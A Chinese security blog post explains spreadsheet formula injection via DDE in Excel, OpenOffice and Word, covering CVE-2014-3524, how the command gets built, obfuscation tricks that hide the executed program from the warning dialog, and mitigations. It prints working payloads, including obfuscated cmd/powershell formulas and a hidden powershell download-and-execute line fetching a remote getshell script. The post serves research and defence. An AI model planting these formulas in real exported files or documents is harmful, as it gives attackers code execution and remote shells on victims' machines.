Formula Injection-公式注入

近期在twitter上有安全研究者分享了一个针对excel公式的命令执行payload,在本地验证成功,于是查阅了一些资料并做了一些粗浅的分析。

背景

针对excel公式解析的命令执行问题最早能追溯到2013年的一篇文章[1],在该文中这种攻击方式称为Cell Injection。2014年,又有研究者发表了类似攻击的文章[2]并公布了对应的CVE-2014-3524:

CVE-2014-3524 OpenOffice Calc Command Injection Vulnerability

Apache OpenOffice 4.1.0 and older on Windows.

OpenOffice.org versions are also affected

The vulnerability allows command injection when loading Calc spreadsheets. Specially crafted documents can be used for command-injection attacks. Further exploits are possible but have not been verified.

CVE-2014-3524涉及两大开源office套件,Apache OpenOffice和LibreOffice。其中Apache OpenOffice于4.1.1版本修复该问题,LibreOffice于4.2.6-secfix(4.2.6.3) /4.1.3版本修复该问题。使用范围最广的微软office也受该CVE影响,但微软并没有承认这个CVE,也没有如Apache OpenOffice和LibreOffice完全移除相关功能,而是通过给出安全提示并在2017年底的补丁中新增了可禁用相关功能的配置项不完全地修复了这个问题。对于该漏洞,后文将统称为公式注入。

总体而言,公式注入是针对客户端的攻击,类似XSS,需要客户端的主动操作触发攻击。常见的攻击方式为通过WEB前端页面输入恶意数据,管理员从管理后台通过“导出到csv”“导出到xls”等功能导出数据到csv、xls或xlsx等表格文件时,导出的文件将包含恶意代码,通过office excel等办公软件打开表格文件时会自动解析其中的公式,从而执行恶意代码。对于这类攻击,office办公软件会给出相应的安全提示,但基于以下两种假设,管理员很可能会忽略安全提示。

1 认为csv属于纯文本不可执行,但实际上打开csv的office软件会将“纯文本”解析为代码并执行

2 认为office软件常见的攻击是基于宏,而该提示并未涉及宏

3 认为文件源于可信环境,但实际上文件中的数据源于不可信环境

最原始的攻击方式

公式注入最早的攻击方式利用excel原生的公式和函数进行攻击,如HYPERLINK(link_location,friendly_name),通过前台表单输入payload,后台导出并查看数据时,诱使受害者点击超链接访问恶意网站,可以偷取数据或是通过下载恶意软件和浏览器漏洞getshell。

诱骗点击超链接:

通过将单元格的引用添加到http参数中实现信息泄露:

服务端监听到的http请求:

通过将恶意url与函数分开的方式隐藏url并逃避双引号过滤:

这种古老的攻击方式比较鸡肋,需要主动点击单元格才能触发,但是当前版本的office不会有任何安全提示。

命令执行原理

为了达到命令执行的目的,需要通过动态数据交换DDE (Dynamic Data Exchange)这一协议。这是一种“在Microsoft Windows或OS/2操作系统中运作进程间通信的技术。DDE主要传递的数据流通常是不需要用户经常干涉的。DDE可以允许Windows应用程序共享数据,例如,Microsoft Excel(电子表格)中的单元格在另一个挂载的应用程序中的数值发生改变时,Excel会自动做出更新”(摘自wiki)。Microsoft Excel,LibreOffice和OpenOffice均支持。这是微软操作系统自带的一种合法的数据交换的协议,只不过office套件在实现该协议时画蛇添足地过度实现导致了命令执行。DDE协议通过一个三元组application,topic,item表示,其中application代表目标进程,topic代表该进程内的某个数据组,item表示该数据组内的某个数据碎片,例如从某个excel文件内请求数据,则excel.exe表示application,XXX.xls表示topic,单元格位置表示item。那为什么通过DDE能执行命令呢?

首先看一下开源的OpenOffice的实现方式:

OpenOffice内置了DDE这么一个函数,正常的调用方式为通过该函数引用另一个表格内的数据,如:

=DDE("soffice";"C:\OpenOffice\test1.ods";"Sheet1.C7")

但是利用该函数的特性就可以实现恶意调用:

=DDE("cmd";"/C calc";"123")

通过阅读4.1.0版本openoffice/main/sfx2/source/appl/impldde.cxx的源码发现,最终调用的Connect函数中如果第一个参数server无法访问时,将会在server后添加.exe后缀并和file拼接形成命令,调用WinExec api执行(原注释是德文,所以截图里是机翻):

在4.1.1版本中,命令拼接及WinExec的调用代码均移除

注意,虽然打开恶意文档时OpenOffice会给出安全提示,但对于csv文件,在用户点击“是”或“否”之前,注入的代码就会直接执行。而xls文件需要点击“是”才会执行。

微软office没有内置这个函数,但可以直接通过解析application|topic!item这一格式的三元表达式调用DDE。下图为微软对这一调用方式的说明[3],更详细的对application|topic!item三元组的说明见[4]

通过调试excel.exe(版本16.0.11126.20266)得到具体调用过程:

sub_140ABD内调用sub_1B15295,sub_1B15295内调用sendMessageTimeoutW,利用windows的消息机制向外部窗口发送WM_DDE_INITIATE广播请求建立DDE通信。

如果此时没有application进程应答,则会试图拉起相应进程,即调用sub_1136AC3,sub_1136AC3内部将application字段和”.exe”拼接,调用sub_1A9E87D-> sub_1A9E30D-> sub_1BCA47B-> sub_1BCA52F显示提示窗口,给出系统安全提示

如果选择执行,则最终和topic拼接成完整的命令”application.exe topic”并通过sub_1136AC3->sub_11D76F4->sub_FB9E1E 调用WinExec api执行命令

此处注意到,提示窗口只显示application.exe,而不显示topic参数,这就使得payload可以进行一定程度的混淆。

混淆

利用excel解析公式时的一些特性进行混淆:

1 当excel遇到+和-会自动填充=成为公式,如

+thespanishinquisition(cmd|'/c calc.exe'!A

2 由于一些历史原因,如果某个外部应用的文件名正好是8个字符,则excel会忽略后面的字符,如

=rundll32|'URL.dll,OpenURL calc.exe'!A
=rundll321234567890abcdefghijklmnopqrstuvwxyz|'URL.dll,OpenURL calc.exe'!A

3 将空字符填充在=和公式之间
=         cmd|'/c calc.exe'!A

4 将其他表达式填充在恶意表达式之前

=AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A

5 通过windows batch的语法特性,填充无意义或是不影响执行逻辑的字符和指令,将topic字段混淆,如文章开始处的payload:

=cmd|'/c REM.&&@p^o^w^e^r^s^h^e^l^l c:/*/*2/?al?.?x?"'!_xlbgnm.A1

其中:

/c是cmd参数,表示执行后关闭窗口

REM表示后面的内容是注释

.表示空行,用于终止之前的REM

&&表示如果前一条指令执行成功则执行后一条指令

@ 表示执行窗口不显示后面的命令

^表示转义,此处无实际意义,只是用来混淆powershell这一敏感词

*?表示powershell通配符,其中*匹配任意字符串,?匹配1个字符,此处能唯一定位到c:/windows/system32/calc.exe

“无实际用途,删了也没啥区别

所以经过解析后,实际执行的命令是:

cmd.exe/c powershell c:/windows/system32/calc.exe

进一步的,由于执行的是拼接字符串,可以利用windows对路径的解析规则隐藏实际执行的可执行程序,使之不会出现在安全提示中,如

=MSEXCEL|'\..\..\..\Windows\System32\cmd.exe /c REM.&&@p^o^w^e^r^s^h^e^l^l c:/*/*2/?al?.?x?"'!_xlbgnm.A1

注意此处MSEXCEL并不是指代可执行文件excel.exe,而是作为相对路径的一部分被解析,解析时MSEXCEL会被忽略。关于路径解析的详细规则见[5]

因此最终执行的命令是

C:\Windows\System32\cmd.exe /c powershell c:/windows/system32/calc.exe

GETSHELL

Windows下无法通过batch和自带命令直接反弹shell,需要借助其他软件,如powershell脚本。以下payload会从远程服务器下载ps1脚本文件并执行,脚本文件可参考[6]

=cmd|'/c powershell.exe -w hidden $e=(New-Object System.Net.WebClient).DownloadString(\"http://XXXX/getshell.ps1\");IEX $e'!_xlbgnm.A1

msf套件也已经集成了相应的poc:exploit/windows/fileformat/office_dde_delivery,使用方式参考[7]

Word的攻击方式

MS Word也支持DDE协议,调用方式和excel略有不同,参考[8]

DDEAUTO field-argument-1  field-argument-2  [ field-argument-3 ]  [ switches ]

The application name shall be specified in field-argument-1; This application must be running.

The name and location of the source file is specified by field-argument-2.

通过“插入-文档部件-域“或者CTRL+F9插入一个公式{DDEAUTO c:\\windows\\system32\\cmd.exe "/c calc.exe"}{DDE "c:\\windows\\system32\\cmd.exe" "/c calc.exe "}对于第二种payload需要解压docx文件并在word/settings.xml文件的<w:settings>内添加<w:updateFields w:val="true"/>才能执行执行原理类似excel,可参考[9]

防护

1 不打开未知来源的文档,关注程序给出的提示,谨慎操作。

2 最新的windows defender安全中心能够识别含DDE远程下载POWERHSELL脚本的恶意文档(Exploit:O97M/DDEDownloader.A)

3 微软至今不认为这是一个漏洞,只是给出了补丁增加配置并提出安全设置建议,见[10]:

配置路径:文件-选项-信任中心-信任中心设置-外部内容

默认不勾选‘启用动态数据交换服务器启动(不推荐)’即可防止DDE启动外部应用。较老的版本如office 2016 MSO(16.0.4266.1001)无该选项,因此无法禁止执行外部程序。

参考资料

1 http://blog.7elements.co.uk/2013/01/cell-injection

2 https://www.contextis.com/en/blog/comma-separated-vulnerabilities

3 https://docs.microsoft.com/en-us/windows/desktop/dataxchg/about-dynamic-data-exchange

4 https://www.citect.aveva.com/webhelp/vijeo750/Content/DDE_conversations_and_client_syntax.html

5 https://docs.microsoft.com/en-us/dotnet/standard/io/file-path-formats

6 https://github.com/samratashok/nishang Invoke-PowerShellTcpOneLine.ps1

7 https://www.rapid7.com/db/modules/exploit/windows/fileformat/office_dde_delivery

8 https://msdn.microsoft.com/en-us/library/ff531181(v=office.12).aspx

9 https://www.endgame.com/blog/technical-blog/bug-feature-debate-back-yet-again-ddeauto-root-cause-analysis

10 https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/ADV170021

 

本文原创,作者:Galaxy,其版权均为Galaxy Lab所有。如需转载,请注明出处:https://galaxylab.pingan.com.cn/formula-injection-%e5%85%ac%e5%bc%8f%e6%b3%a8%e5%85%a5/

评论:

1 条评论,访客:1 条,站长:0 条

0%好评

  • 好评:(0%)
  • 中评:(0%)
  • 差评:(0%)

最新评论

  1. 旭
    发布于: 

    厉害厉害!!!

发表评论

*